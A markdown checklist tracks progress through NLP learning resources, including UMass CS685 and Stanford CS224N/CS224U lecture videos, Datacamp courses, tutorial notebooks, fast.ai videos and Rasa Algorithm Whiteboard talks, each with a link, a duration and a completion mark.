- [ ] [UMass CS685 (Advanced NLP): Attention mechanisms](https://www.youtube.com/watch?v=3qdQAtfq1jU) `0:48:53`
- [ ] [UMass CS685 (Advanced NLP): Question answering](https://www.youtube.com/watch?v=nfHBN2D47rc) `0:59:50`
- [ ] [UMass CS685 (Advanced NLP): Better BERTs](https://www.youtube.com/watch?v=LfqzWrVkWak) `0:52:23`
- [ ] [UMass CS685 (Advanced NLP): Text generation decoding and evaluation](https://www.youtube.com/watch?v=E_zJKsNMAB0) `1:02:32`
- [ ] [UMass CS685 (Advanced NLP): Paraphrase generation](https://www.youtube.com/watch?v=2wcrZs5PsZo) `1:10:59`
- [ ] [UMass CS685 (Advanced NLP): Crowdsourced text data collection](https://www.youtube.com/watch?v=ETz6liqzMXA) `0:58:31`
- [ ] [UMass CS685 (Advanced NLP): Model distillation and security threats](https://www.youtube.com/watch?v=Y1_7cLgnAps) `1:09:25`
- [ ] [UMass CS685 (Advanced NLP): Retrieval-augmented language models](https://www.youtube.com/watch?v=B7zw0kq6554) `0:52:13`
- [ ] [UMass CS685 (Advanced NLP): Implementing a Transformer](https://www.youtube.com/watch?v=4oO3sSk1F1M) `1:12:36`
- [ ] [UMass CS685 (Advanced NLP): vision + language](https://www.youtube.com/watch?v=ovvHvTHCUow) `1:06:28`
- [ ] [UMass CS685 (Advanced NLP): exam review](https://www.youtube.com/watch?v=vffSoLtRVwM) `1:24:36`
- [ ] [UMass CS685 (Advanced NLP): Intermediate fine-tuning](https://www.youtube.com/watch?v=run0nnEBVFU) `1:10:35`
- [ ] [UMass CS685 (Advanced NLP): ethics in NLP](https://www.youtube.com/watch?v=eOHTvpsuEL4) `0:56:57`
- [ ] [UMass CS685 (Advanced NLP): probe tasks](https://www.youtube.com/watch?v=y5ShdPnxjj0) `0:54:30`
- [ ] [UMass CS685 (Advanced NLP): semantic parsing](https://www.youtube.com/watch?v=fBn1Cx5x5Rc) `0:48:49`
- [ ] [UMass CS685 (Advanced NLP): commonsense reasoning (guest lecture by Lorraine Li)](https://www.youtube.com/watch?v=LW1HLn7_PEs) `0:58:53`
- [X] [Datacamp: Advanced NLP with spaCy](https://www.datacamp.com/courses/advanced-nlp-with-spacy)
- [X] [Datacamp: Building Chatbots in Python](https://www.datacamp.com/courses/building-chatbots-in-python)
- [X] [Datacamp: Clustering Methods with SciPy](https://www.datacamp.com/courses/clustering-methods-with-scipy)
- [X] [Datacamp: Feature Engineering for NLP in Python](https://www.datacamp.com/courses/feature-engineering-for-nlp-in-python)
- [X] [Datacamp: Machine Translation in Python](https://www.datacamp.com/courses/machine-translation-in-python)
- [X] [Datacamp: Natural Language Processing Fundamentals in Python](https://www.datacamp.com/courses/natural-language-processing-fundamentals-in-python)
- [X] [Datacamp: Natural Language Generation in Python](https://www.datacamp.com/courses/natural-language-generation-in-python)
- [X] [Datacamp: RNN for Language Modeling](https://www.datacamp.com/courses/recurrent-neural-networks-for-language-modeling-in-python)
- [X] [Datacamp: Regular Expressions in Python](https://www.datacamp.com/courses/regular-expressions-in-python)
- [X] [Datacamp: Sentiment Analysis in Python](https://www.datacamp.com/courses/sentiment-analysis-in-python)
- [ ] [Datacamp: Spoken Language Processing in Python](https://www.datacamp.com/courses/spoken-language-processing-in-python)
- [ ] [Notebook: NNLM - Predict Next Word](https://github.com/graykode/nlp-tutorial/blob/master/1-1.NNLM)
- [ ] [Notebook: Word2Vec](https://colab.research.google.com/github/graykode/nlp-tutorial/blob/master/1-2.Word2Vec/Word2Vec_Skipgram(Softmax).ipynb)
- [ ] [Notebook: FastText Sentence Classification](https://colab.research.google.com/github/graykode/nlp-tutorial/blob/master/1-3.FastText/FastText.ipynb)
- [ ] [Notebook: TextCNN - Binary Sentiment Classification](https://colab.research.google.com/github/graykode/nlp-tutorial/blob/master/2-1.TextCNN/TextCNN.ipynb)
- [ ] [Notebook: TextRNN - Predict Next Step](https://colab.research.google.com/github/graykode/nlp-tutorial/blob/master/3-1.TextRNN/TextRNN.ipynb)
- [ ] [Notebook: TextLSTM - Autocomplete](https://colab.research.google.com/github/graykode/nlp-tutorial/blob/master/3-2.TextLSTM/TextLSTM.ipynb)
- [ ] [Notebook: Bi-LSTM - Predict Next Word in Long Sentence](https://colab.research.google.com/github/graykode/nlp-tutorial/blob/master/3-3.Bi-LSTM/Bi_LSTM.ipynb)
- [ ] [Notebook: SeqSeq - Change Word](https://colab.research.google.com/github/graykode/nlp-tutorial/blob/master/4-1.Seq2Seq/Seq2Seq.ipynb)
- [ ] [Notebook: Seq2Seq with Attention - Translate](https://colab.research.google.com/github/graykode/nlp-tutorial/blob/master/4-2.Seq2Seq(Attention)/Seq2Seq(Attention).ipynb)
- [ ] [Notebook: Bi-LSTM with Attention - Binary Sentiment Classification](https://colab.research.google.com/github/graykode/nlp-tutorial/blob/master/4-3.Bi-LSTM(Attention)/Bi_LSTM(Attention).ipynb)
- [ ] [Notebook: The Transformer - Translate](https://colab.research.google.com/github/graykode/nlp-tutorial/blob/master/5-1.Transformer/Transformer.ipynb)
- [ ] [Notebook: The Transformer - Greedy Decoder](https://colab.research.google.com/github/graykode/nlp-tutorial/blob/master/5-1.Transformer/Transformer(Greedy_decoder).ipynb)
- [ ] [Notebook: BERT - NSP and MLM](https://colab.research.google.com/github/graykode/nlp-tutorial/blob/master/5-2.BERT/BERT.ipynb)
- [X] [Notebook: Logistic regression-Tf-Idf baseline](https://www.kaggle.com/kashnitsky/logistic-regression-tf-idf-baseline)
- [ ] [RNN and LSTM](https://www.youtube.com/watch?v=WCUNPb-5EYI&index=2&list=PLVZqlMpoM6kbaeySxhdtgQPFEC5nV7Faa&t=0s)
- [X] [Spacy Tutorial](https://www.youtube.com/watch?v=cgwDB1THUBY&list=PLJ39kWiJXSiz1LK8d_fyxb7FTn4mBYOsD)
- [X] [Stanford CS224U: Natural Language Understanding | Spring 2019](https://www.youtube.com/playlist?list=PLoROMvodv4rObpMCir6rNNUlFAn56Js20)
- [X] [Lecture 1 – Course Overview | Stanford CS224U: Natural Language Understanding | Spring 2019](https://www.youtube.com/watch?v=tZ_Jrc_nRJY) `1:12:59`
- [X] [Lecture 2 – Word Vectors 1 | Stanford CS224U: Natural Language Understanding | Spring 2019](https://www.youtube.com/watch?v=IYMYI9AJpQs) `1:17:10`
- [X] [Lecture 3 – Word Vectors 2 | Stanford CS224U: Natural Language Understanding | Spring 2019](https://www.youtube.com/watch?v=nH4rn3X8i0c) `1:16:52`
- [X] [Lecture 4 – Word Vectors 3 | Stanford CS224U: Natural Language Understanding | Spring 2019](https://www.youtube.com/watch?v=pip8h9vjTHY) `0:38:20`
- [X] [Lecture 5 – Sentiment Analysis 1 | Stanford CS224U: Natural Language Understanding | Spring 2019](https://www.youtube.com/watch?v=O1Xh3H1uEYY) `1:10:44`
- [X] [Lecture 6 – Sentiment Analysis 2 | Stanford CS224U: Natural Language Understanding | Spring 2019](https://www.youtube.com/watch?v=6-4pJt1M18s) `1:03:23`
- [X] [Lecture 7 – Relation Extraction | Stanford CS224U: Natural Language Understanding | Spring 2019](https://www.youtube.com/watch?v=pO3Jsr31s_Q) `1:19:04`
- [X] [Lecture 8 – NLI 1 | Stanford CS224U: Natural Language Understanding | Spring 2019](https://www.youtube.com/watch?v=M_VPUF9ResU) `1:15:02`
- [X] [Lecture 9 – NLI 2 | Stanford CS224U: Natural Language Understanding | Spring 2019](https://www.youtube.com/watch?v=JXtH_ABQFX0) `1:15:35`
- [X] [Lecture 10 – Grounding | Stanford CS224U: Natural Language Understanding | Spring 2019](https://www.youtube.com/watch?v=7b2_3dDTKMc) `1:23:15`
- [X] [Lecture 11 – Semantic Parsing | Stanford CS224U: Natural Language Understanding | Spring 2019](https://www.youtube.com/watch?v=C5bdflsg7rs) `1:07:05`
- [X] [Lecture 12 – Evaluation Methods | Stanford CS224U: Natural Language Understanding | Spring 2019](https://www.youtube.com/watch?v=3UGti9Ju5j8) `1:18:32`
- [X] [Lecture 13 – Evaluation Metrics | Stanford CS224U: Natural Language Understanding | Spring 2019](https://www.youtube.com/watch?v=YygGzfkhtJc) `1:11:32`
- [X] [Lecture 14 – Contextual Vectors | Stanford CS224U: Natural Language Understanding | Spring 2019](https://www.youtube.com/watch?v=lzBB7xoZ3Q8) `1:14:33`
- [X] [Lecture 15 – Presenting Your Work | Stanford CS224U: Natural Language Understanding | Spring 2019](https://www.youtube.com/watch?v=WXLb4h2A724) `1:15:11`
- [X] [Stanford CS224N: Stanford CS224N: NLP with Deep Learning | Winter 2019](https://www.youtube.com/playlist?list=PLoROMvodv4rOhcuXMZkNm7j3fVwBBY42z)
- [X] [Stanford CS224N: NLP with Deep Learning | Winter 2019 | Lecture 1 – Introduction and Word Vectors](https://www.youtube.com/watch?v=8rXD5-xhemo) `1:21:52`
- [X] [Stanford CS224N: NLP with Deep Learning | Winter 2019 | Lecture 2 – Word Vectors and Word Senses](https://www.youtube.com/watch?v=kEMJRjEdNzM) `1:20:43`
- [X] [Stanford CS224N: NLP with Deep Learning | Winter 2019 | Lecture 3 – Neural Networks](https://www.youtube.com/watch?v=8CWyBNX6eDo) `1:18:50`
- [X] [Stanford CS224N: NLP with Deep Learning | Winter 2019 | Lecture 4 – Backpropagation](https://www.youtube.com/watch?v=yLYHDSv-288) `1:22:15`
- [X] [Stanford CS224N: NLP with Deep Learning | Winter 2019 | Lecture 5 – Dependency Parsing](https://www.youtube.com/watch?v=nC9_RfjYwqA) `1:20:22`
- [X] [Stanford CS224N: NLP with Deep Learning | Winter 2019 | Lecture 6 – Language Models and RNNs](https://www.youtube.com/watch?v=iWea12EAu6U) `1:08:25`
- [X] [Stanford CS224N: NLP with Deep Learning | Winter 2019 | Lecture 7 – Vanishing Gradients, Fancy RNNs](https://www.youtube.com/watch?v=QEw0qEa0E50) `1:13:23`
- [X] [Stanford CS224N: NLP with Deep Learning | Winter 2019 | Lecture 8 – Translation, Seq2Seq, Attention](https://www.youtube.com/watch?v=XXtpJxZBa2c) `1:16:56`
- [X] [Stanford CS224N: NLP with Deep Learning | Winter 2019 | Lecture 9 – Practical Tips for Projects](https://www.youtube.com/watch?v=fyqm8fRDgl0) `1:22:39`
- [X] [Stanford CS224N: NLP with Deep Learning | Winter 2019 | Lecture 10 – Question Answering](https://www.youtube.com/watch?v=yIdF-17HwSk) `1:21:01`
- [X] [Stanford CS224N: NLP with Deep Learning | Winter 2019 | Lecture 11 – Convolutional Networks for NLP](https://www.youtube.com/watch?v=EAJoRA0KX7I) `1:20:18`
- [X] [Stanford CS224N: NLP with Deep Learning | Winter 2019 | Lecture 12 – Subword Models](https://www.youtube.com/watch?v=9oTHFx0Gg3Q) `1:15:30`
- [X] [Stanford CS224N: NLP with Deep Learning | Winter 2019 | Lecture 13 – Contextual Word Embeddings](https://www.youtube.com/watch?v=S-CspeZ8FHc) `1:20:18`
- [X] [Stanford CS224N: NLP with Deep Learning | Winter 2019 | Lecture 14 – Transformers and Self-Attention](https://www.youtube.com/watch?v=5vcj8kSwBCY) `0:53:48`
- [X] [Stanford CS224N: NLP with Deep Learning | Winter 2019 | Lecture 15 – Natural Language Generation](https://www.youtube.com/watch?v=4uG1NMKNWCU) `1:19:37`
- [X] [Stanford CS224N: NLP with Deep Learning | Winter 2019 | Lecture 16 – Coreference Resolution](https://www.youtube.com/watch?v=i19m4GzBhfc) `1:19:20`
- [X] [Stanford CS224N: NLP with Deep Learning | Winter 2019 | Lecture 17 – Multitask Learning](https://www.youtube.com/watch?v=M8dsZsEtEsg) `1:11:54`
- [X] [Stanford CS224N: NLP with Deep Learning | Winter 2019 | Lecture 18 – Constituency Parsing, TreeRNNs](https://www.youtube.com/watch?v=6Z4A3RSf-HY) `1:20:37`
- [X] [Stanford CS224N: NLP with Deep Learning | Winter 2019 | Lecture 19 – Bias in AI](https://www.youtube.com/watch?v=XR8YSRcuVLE) `0:56:03`
- [X] [Stanford CS224N: NLP with Deep Learning | Winter 2019 | Lecture 20 – Future of NLP + Deep Learning](https://www.youtube.com/watch?v=3wWZBGN-iX8) `1:19:15`
- [X] [Stanford CS224N: NLP with Deep Learning | Winter 2020 | Low Resource Machine Translation](https://youtu.be/mp95Z5yM92c?list=LL) `1:15:45`
- [X] [Stanford CS224N: NLP with Deep Learning | Winter 2020 | BERT and Other Pre-trained Language Models](https://youtu.be/knTc-NQSjKA?list=LL) `0:54:28`
- [ ] [Stanford: CS214 From Languages to Information](https://www.youtube.com/playlist?list=PLaZQkZp6WhWyvdiP49JG-rjyTPck_hvEu)
- [ ] [1 1 Regular Expressions 11 25](https://www.youtube.com/watch?v=808M7q8QX0E) `0:11:25`
- [ ] [1 2 Regular Expression Substitutions](https://www.youtube.com/watch?v=1CSVy9JbbK0) `0:06:10`
- [ ] [1 3 Words and Corpora](https://www.youtube.com/watch?v=xsIDTmo1NOg) `0:06:25`
- [X] [1 4 Word Tokenization](https://www.youtube.com/watch?v=7yFZHf8mzGk) `0:08:21`
- [ ] [1 5 Byte Pair Encoding](https://www.youtube.com/watch?v=tOMjTCO0htA) `0:07:38`
- [X] [1 6 Word Normalization](https://www.youtube.com/watch?v=bFfWbQoVmIA) `0:06:23`
- [X] [2 1 Defining Minimum Edit Distance 7 04](https://www.youtube.com/watch?v=V14ikwzaLds) `0:07:05`
- [X] [2 2 Computing Minimum Edit Distance 5 54](https://www.youtube.com/watch?v=NlGoRN1C13w) `0:05:55`
- [X] [2 3 Backtrace for Computing Alignments 5 55](https://www.youtube.com/watch?v=quDUYXXLZsM) `0:05:56`
- [X] [2 4 Weighted Minimum Edit Distance 2 47](https://www.youtube.com/watch?v=gx7Fkf1n_5w) `0:02:48`
- [X] [2 5 Minimum Edit Distance in Computational Biology 9 29](https://www.youtube.com/watch?v=gVe8SAE-O1s) `0:09:30`
- [X] [3 1 Introduction to N grams 8 41](https://www.youtube.com/watch?v=hM49MPmakNI) `0:08:41`
- [X] [3 2 Estimating N gram Probabilities 9 38](https://www.youtube.com/watch?v=UyC0bBiZY-A) `0:09:38`
- [X] [3 3 Evaluation and Perplexity](https://www.youtube.com/watch?v=B_2bntDYano) `0:12:37`
- [X] [3 4 Generalization and Zeros 5 15](https://www.youtube.com/watch?v=XjwVAMWrmrw) `0:05:15`
- [X] [3 5 Smoothing Add One 6 30](https://www.youtube.com/watch?v=Hr6UWRwAIEQ) `0:06:31`
- [X] [3 6 Interpolation 10 25](https://www.youtube.com/watch?v=JpOZqXsop3Q) `0:10:25`
- [X] [3 8 Kneser Ney Smoothing 8 59](https://www.youtube.com/watch?v=8BxqdxXT2M8) `0:08:59`
- [ ] [5 1 What is Text Classification 8 12](https://www.youtube.com/watch?v=Y1j_J53k7fo) `0:08:12`
- [ ] [Naive Bayes Lecture 2 The Naive Bayes Classifier](https://www.youtube.com/watch?v=OhLosjXM-Fg) `0:12:24`
- [ ] [Naive Bayes 3 Learning in Naive Bayes](https://www.youtube.com/watch?v=Ge612JZGBMU) `0:06:04`
- [ ] [Naive Bayes 4 Sentiment and Binary NB](https://www.youtube.com/watch?v=tjDceq0qH10) `0:08:14`
- [ ] [4 5 More on Sentiment Classification](https://www.youtube.com/watch?v=B36xM0YJayA) `0:05:14`
- [ ] [5 2 Naive Bayes Relationship to Language Modeling 4 35](https://www.youtube.com/watch?v=s-A60cl0YIY) `0:04:36`
- [ ] [5 7 Precision, Recall, and the F measure 16 16](https://www.youtube.com/watch?v=mjOgb4T7yyo) `0:16:17`
- [ ] [5 8 Text Classification Evaluation 7 17](https://www.youtube.com/watch?v=NjhVTN19JDI) `0:07:17`
- [ ] [Logistic Regression 1 Generative and Discriminative Classifiers](https://www.youtube.com/watch?v=qZSqcu2D7zQ) `0:05:25`
- [ ] [Logistic Regression 2 Classification](https://www.youtube.com/watch?v=F0Sc_gjDRDA) `0:07:48`
- [ ] [Logistic Regression 3 A Sentiment Example](https://www.youtube.com/watch?v=u_PiPYi4s7E) `0:05:09`
- [ ] [Logistic Regression 4 Cross Entropy Loss](https://www.youtube.com/watch?v=TDOCw0L-qz0) `0:07:59`
- [ ] [Logistic Regression 5 Stochastic Gradient Descent](https://www.youtube.com/watch?v=gPab8n1QK1M) `0:09:46`
- [ ] [Logistic Regression 6 A worked example of gradient descent](https://www.youtube.com/watch?v=UP7tehNv-iI) `0:05:10`
- [ ] [7 1 Introduction to Information Retrieval 9 16](https://www.youtube.com/watch?v=kNkCfaH2rxc) `0:09:16`
- [ ] [7 2 Term Document Incidence Matrices 8 59](https://www.youtube.com/watch?v=e81nC0LO0A8) `0:08:59`
- [ ] [7 3 The Inverted Index 10 42](https://www.youtube.com/watch?v=Wf6HbY2PQDw) `0:10:43`
- [ ] [7 4 Query Processing with the Inverted Index 6 43](https://www.youtube.com/watch?v=5KbynCj7yRQ) `0:06:44`
- [ ] [7 5 The Boolean Retrieval Model 14 06](https://www.youtube.com/watch?v=TIN_02pJU-Y) `0:14:07`
- [ ] [7 6 Phrase Queries and Positional Indexes 19 45](https://www.youtube.com/watch?v=QVVvx_Csd2I) `0:19:46`
- [ ] [8 1 Introducing Ranked Retrieval 4 27](https://www.youtube.com/watch?v=ZrNmCtSrL48) `0:04:27`
- [ ] [8 2 Scoring with the Jaccard Coefficient 5 06](https://www.youtube.com/watch?v=MiX8_JVP6PE) `0:05:07`
- [ ] [8 3 Term Frequency Weighting 5 59](https://www.youtube.com/watch?v=9UXM2NXVYY0) `0:06:00`
- [ ] [8 4 Inverse Document Frequency Weighting 10 16](https://www.youtube.com/watch?v=7nWlI_TVid0) `0:10:17`
- [ ] [8 5 TF IDF Weighting 3 42](https://www.youtube.com/watch?v=4-P3ckZprBk) `0:03:42`
- [ ] [8 6 The Vector Space Model 16 22](https://www.youtube.com/watch?v=o5nflzfX5tw) `0:16:23`
- [ ] [8 7 Calculating TF IDF Cosine Scores 12 47](https://www.youtube.com/watch?v=k1tD7pYKWuM) `0:12:48`
- [ ] [8 8 Evaluating Search Engines 9 02](https://www.youtube.com/watch?v=b7pfLpVBN84) `0:09:03`
- [ ] [Introduction to Named Entity Tagging](https://www.youtube.com/watch?v=7CRyqwCZFY0) `0:05:06`
- [ ] [Introduction to Part of Speech Tagging](https://www.youtube.com/watch?v=WQYt3DRLpuQ) `0:09:03`
- [ ] [Vector 1 Word Meaning](https://www.youtube.com/watch?v=EsfNYiLVtHI) `0:09:09`
- [ ] [Vector 2 Vector Semantics](https://www.youtube.com/watch?v=lrPxo-92GC0) `0:06:37`
- [ ] [Vector 3 Words and Vectors](https://www.youtube.com/watch?v=xtD47WHNhxk) `0:05:16`
- [ ] [Vector 4 Cosine Similarity](https://www.youtube.com/watch?v=-_i9Cg81rXA) `0:04:23`
- [ ] [Vector 5 TF IDF](https://www.youtube.com/watch?v=TBUpxFw8oIA) `0:05:32`
- [ ] [Vector 6 Word2vec](https://www.youtube.com/watch?v=FHhKmf1iPvw) `0:07:39`
- [ ] [Vector 7 Learning in Word2vec](https://www.youtube.com/watch?v=MGhVvEwFB9o) `0:07:36`
- [ ] [Vector 8 Properties of Embeddings](https://www.youtube.com/watch?v=QvFNqBRaCis) `0:06:08`
- [ ] [Neural Networks 1 Neural Units](https://www.youtube.com/watch?v=BtmsIy0j_dY) `0:05:41`
- [ ] [Neural Networks 2 XOR](https://www.youtube.com/watch?v=s7nRWh_3BtA) `0:07:32`
- [ ] [Neural Networks 3 Feedforward Neural Networks](https://www.youtube.com/watch?v=RMvTgWl6xog) `0:08:55`
- [ ] [Neural Networks 4 Applying Feedforward Networks to NLP](https://www.youtube.com/watch?v=y88qwovkBws) `0:07:15`
- [ ] [Neural Networks 5 Overview of Training](https://www.youtube.com/watch?v=IOS6y6nQKWM) `0:04:21`
- [ ] [Neural Networks 6 Computation Graphs and Backward Differentiation](https://www.youtube.com/watch?v=hM74RH82LyI) `0:10:31`
- [ ] [Dialog 1 Overview](https://www.youtube.com/watch?v=2zCfh3o88K8) `0:03:11`
- [ ] [Dialogue 2 Human Conversation](https://www.youtube.com/watch?v=n0MpIyqZjZU) `0:10:31`
- [ ] [Dialogue 3 ELIZA](https://www.youtube.com/watch?v=veyhOF4xFUo) `0:09:27`
- [ ] [Dialogue 4 Corpus Chatbots](https://www.youtube.com/watch?v=GB3dOuV6f4s) `0:09:35`
- [ ] [Dialogue 5 Frame Based Dialogue](https://www.youtube.com/watch?v=A4JndTnxoqE) `0:07:41`
- [ ] [Dialogue 6 Dialogue State Architecture](https://www.youtube.com/watch?v=nQKMKzMXZks) `0:08:58`
- [ ] [Dialogue 7 Dialogue State Architecture Policy and Generation](https://www.youtube.com/watch?v=ptVx38To1yM) `0:08:23`
- [ ] [Dialogue 8 Evaluation](https://www.youtube.com/watch?v=iJet3n3gAso) `0:04:38`
- [ ] [Dialogue 9 Design and Ethical Issues](https://www.youtube.com/watch?v=bX06GTiK3lQ) `0:03:29`
- [ ] [Recommender Systems 1 Introduction](https://www.youtube.com/watch?v=4xYYkQxTpEc) `0:06:02`
- [ ] [Recommender Systems 2 Content Based](https://www.youtube.com/watch?v=4sy2tpzlgg4) `0:05:50`
- [ ] [Recommender Systems 3 User User Collaborative Filtering](https://www.youtube.com/watch?v=qEur4Xi8dks) `0:07:50`
- [ ] [Recommender Systems 4 Item Item Collaborative Filtering](https://www.youtube.com/watch?v=FFi0iPY5fko) `0:06:52`
- [ ] [Recommender Systems 5 Simplified version for PA6](https://www.youtube.com/watch?v=KUxRszeRPDc) `0:02:10`
- [ ] [14 1 Anchor Text 3 39](https://www.youtube.com/watch?v=-rfVrRAgzHM) `0:03:40`
- [ ] [14 2 PageRank Overview and Markov Chains 12 10](https://www.youtube.com/watch?v=29Tx-s0ybiQ) `0:12:10`
- [ ] [14 3 Computing PageRank 8 09](https://www.youtube.com/watch?v=TlVs9nMyZyQ) `0:08:10`
- [ ] [Social Networks 1 Networks](https://www.youtube.com/watch?v=oOizd6Xs4eM) `0:06:58`
- [X] [TextBlob Tutorial Series](https://www.youtube.com/watch?v=4k2cqUIjb8g&list=PLJ39kWiJXSizrWpC7hcu1_mLNxEPzN0gF)
- [X] [Natural Language Processing Tutorial With TextBlob -Tokens,Translation and Ngrams](https://www.youtube.com/watch?v=4k2cqUIjb8g) `0:11:01`
- [X] [NLP Tutorial With TextBlob and Python - Parts of Speech Tagging](https://www.youtube.com/watch?v=aWhqoPLr6Jg) `0:05:59`
- [X] [NLP Tutorial With TextBlob & Python - Lemmatizating](https://www.youtube.com/watch?v=tNUoqSlzM_k) `0:06:32`
- [X] [NLP Tutorial with TextBlob & Python - Sentiment Analysis(Polarity,Subjectivity)](https://www.youtube.com/watch?v=dR9Dcq-qgIE) `0:06:31`
- [X] [Building a NLP-based Flask App with TextBlob](https://www.youtube.com/watch?v=7tLBHkqMae8) `0:37:30`
- [X] [Natural Language Processing with Polyglot - Installation & Intro](https://www.youtube.com/watch?v=qtMEp6WxwCQ) `0:12:49`
- [ ] [Youtube: fast.ai Code-First Intro to Natural Language Processing](https://www.youtube.com/playlist?list=PLtmWHNX-gukKocXQOkQjuVxglSDYWsSh9)
- [X] [What is NLP? (NLP video 1)](https://www.youtube.com/watch?v=cce8ntxP_XI) `0:22:42`
- [X] [Topic Modeling with SVD & NMF (NLP video 2)](https://www.youtube.com/watch?v=tG3pUwmGjsc) `1:06:39`
- [X] [Topic Modeling & SVD revisited (NLP video 3)](https://www.youtube.com/watch?v=lRZ4aMaXPBI) `0:33:05`
- [X] [Sentiment Classification with Naive Bayes (NLP video 4)](https://www.youtube.com/watch?v=hp2ipC5pW4I) `0:58:20`
- [ ] [Sentiment Classification with Naive Bayes & Logistic Regression, contd. (NLP video 5)](https://www.youtube.com/watch?v=dt7sArnLo1g) `0:51:29`
- [ ] [Derivation of Naive Bayes & Numerical Stability (NLP video 6)](https://www.youtube.com/watch?v=z8-Tbrg1-rE) `0:23:56`
- [ ] [Revisiting Naive Bayes, and Regex (NLP video 7)](https://www.youtube.com/watch?v=Q1zLqfnEXdw) `0:37:33`
- [ ] [Intro to Language Modeling (NLP video 8)](https://www.youtube.com/watch?v=PNNHaQUQqW8) `0:40:58`
- [ ] [Transfer learning (NLP video 9)](https://www.youtube.com/watch?v=5gCQvuznKn0) `1:35:16`
- [ ] [ULMFit for non-English Languages (NLP Video 10)](https://www.youtube.com/watch?v=MDX_x6rKXAs) `1:49:22`
- [ ] [Understanding RNNs (NLP video 11)](https://www.youtube.com/watch?v=l1rlFh0PmZw) `0:33:16`
- [ ] [Seq2Seq Translation (NLP video 12)](https://www.youtube.com/watch?v=IfsjMg4fLWQ) `0:59:42`
- [ ] [Word embeddings quantify 100 years of gender & ethnic stereotypes-- Nikhil Garg (NLP video 13)](https://www.youtube.com/watch?v=boxV8Od4jqQ) `0:47:17`
- [ ] [Text generation algorithms (NLP video 14)](https://www.youtube.com/watch?v=3oEb_fFmPnY) `0:25:39`
- [ ] [Implementing a GRU (NLP video 15)](https://www.youtube.com/watch?v=Bl6WVj6wQaE) `0:23:13`
- [ ] [Algorithmic Bias (NLP video 16)](https://www.youtube.com/watch?v=pThqge9QDn8) `1:26:17`
- [ ] [Introduction to the Transformer (NLP video 17)](https://www.youtube.com/watch?v=AFkGPmU16QA) `0:22:54`
- [ ] [The Transformer for language translation (NLP video 18)](https://www.youtube.com/watch?v=KzfyftiH7R8) `0:55:17`
- [X] [What you need to know about Disinformation (NLP video 19)](https://www.youtube.com/watch?v=vbva2RN-rbQ) `0:51:21`
- [ ] [Article: Zero to Hero with fastai - Beginner](https://muellerzr.github.io/fastblog/2020/08/20/_08_21-beginner.html)
- [ ] [Article: Zero to Hero with fastai - Intermediate](https://muellerzr.github.io/fastblog/2020/08/20/_08_21-intermediate.html)
- [ ] [NLP Course | For You](https://lena-voita.github.io/nlp_course.html)
- [ ] [Word Embeddings](https://lena-voita.github.io/nlp_course/word_embeddings.html)
- [ ] [Text Classification](#)
- [ ] [Language Modeling](#)
- [ ] [Seq2seq and Attention](#)
- [X] [Youtube: BERT Research Series](https://www.youtube.com/playlist?list=PLam9sigHPGwOBuH4_4fr-XvDbe5uneaf6)
- [X] [YouTube: Intro to NLP with Spacy](https://www.youtube.com/playlist?list=PLBmcuObd5An559HbDr_alBnwVsGq-7uTF)
- [X] [Talk: Practical NLP for the Real World](https://www.infoq.com/presentations/practical-nlp/)
- [X] [YouTube: Level 3 AI Assistant Conference 2020](https://www.youtube.com/playlist?list=PL75e0qA87dlGP51yZ0dyNup-vwu0Rlv86)
- [X] [Youtube: Conversation Analysis Theory in Chatbots | Michael Szul](https://youtu.be/osQChzuhUiU?list=PL75e0qA87dlGP51yZ0dyNup-vwu0Rlv86)
- [X] [Youtube: Designing Practical NLP Solutions | Ines Montani](https://youtu.be/JpkzK58lkmA?list=PL75e0qA87dlGP51yZ0dyNup-vwu0Rlv86)
- [X] [Youtube: Effective Copywriting for Chatbots | Hans Van Dam](https://youtu.be/49G58PQWO7w?list=LLqn7Nv8Zg6tWbBonrUOJGwQ)
- [X] [Youtube: Distilling BERT | Sam Sucik](https://youtu.be/Xji8NmL3FvQ?list=LLqn7Nv8Zg6tWbBonrUOJGwQ)
- [X] [Youtube: Transformer Policies that improve Dialogues: A Live Demo by Vincent Warmerdam](https://youtu.be/P5SUS3V50zQ?list=LLqn7Nv8Zg6tWbBonrUOJGwQ)
- [X] [Youtube: From Research to Production – Our Process at Rasa | Tanja Bunk](https://youtu.be/5_lRfLFjfEs?list=LLqn7Nv8Zg6tWbBonrUOJGwQ)
- [X] [Youtube: Keynote: Perspective on the 5 Levels of Conversational AI | Alan Nichol](https://youtu.be/bAkToyQhWyo?list=LLqn7Nv8Zg6tWbBonrUOJGwQ)
- [X] [Youtube: RASA Algorithm Whiteboard](https://www.youtube.com/playlist?list=PL75e0qA87dlG-za8eLI6t0_Pbxafk-cxb)
- [X] [Introducing The Algorithm Whiteboard](https://www.youtube.com/watch?v=wWNMST6t1TA) `0:01:16`
- [X] [Rasa Algorithm Whiteboard - Diet Architecture 1: How it Works](https://www.youtube.com/watch?v=vWStcJDuOUk) `0:23:27`
- [X] [Rasa Algorithm Whiteboard - Diet Architecture 2: Design Decisions](https://www.youtube.com/watch?v=KUGGuJ0aTL8) `0:15:06`
- [X] [Rasa Algorithm Whiteboard - Diet Architecture 3: Benchmarking](https://www.youtube.com/watch?v=oj5oPGDlep4) `0:22:34`
- [X] [Rasa Algorithm Whiteboard - Embeddings 1: Just Letters](https://www.youtube.com/watch?v=mWvnlVw_LiY) `0:13:48`
- [X] [Rasa Algorithm Whiteboard - Embeddings 2: CBOW and Skip Gram](https://www.youtube.com/watch?v=BWaHLmG1lak) `0:19:24`
- [X] [Rasa Algorithm Whiteboard - Embeddings 3: GloVe](https://www.youtube.com/watch?v=QoUYlxl1RGI) `0:19:12`
- [X] [Rasa Algorithm Whiteboard - Embeddings 4: Whatlies](https://www.youtube.com/watch?v=FwkwC7IJWO0) `0:14:03`
- [X] [Rasa Algorithm Whiteboard - Attention 1: Self Attention](https://www.youtube.com/watch?v=yGTUuEx3GkA) `0:14:32`
- [X] [Rasa Algorithm Whiteboard - Attention 2: Keys, Values, Queries](https://www.youtube.com/watch?v=tIvKXrEDMhk) `0:12:26`
- [X] [Rasa Algorithm Whiteboard - Attention 3: Multi Head Attention](https://www.youtube.com/watch?v=23XUv0T9L5c) `0:10:55`
- [X] [Rasa Algorithm Whiteboard: Attention 4 - Transformers](https://www.youtube.com/watch?v=EXNBy8G43MM) `0:14:34`
- [X] [Rasa Algorithm Whiteboard - StarSpace](https://www.youtube.com/watch?v=ZT3_9Kjx7oI) `0:11:46`
- [X] [Rasa Algorithm Whiteboard - TED Policy](https://www.youtube.com/watch?v=j90NvurJI4I) `0:16:10`
- [X] [Rasa Algorithm Whiteboard - TED in Practice](https://www.youtube.com/watch?v=d8JMJMvErSg) `0:14:54`
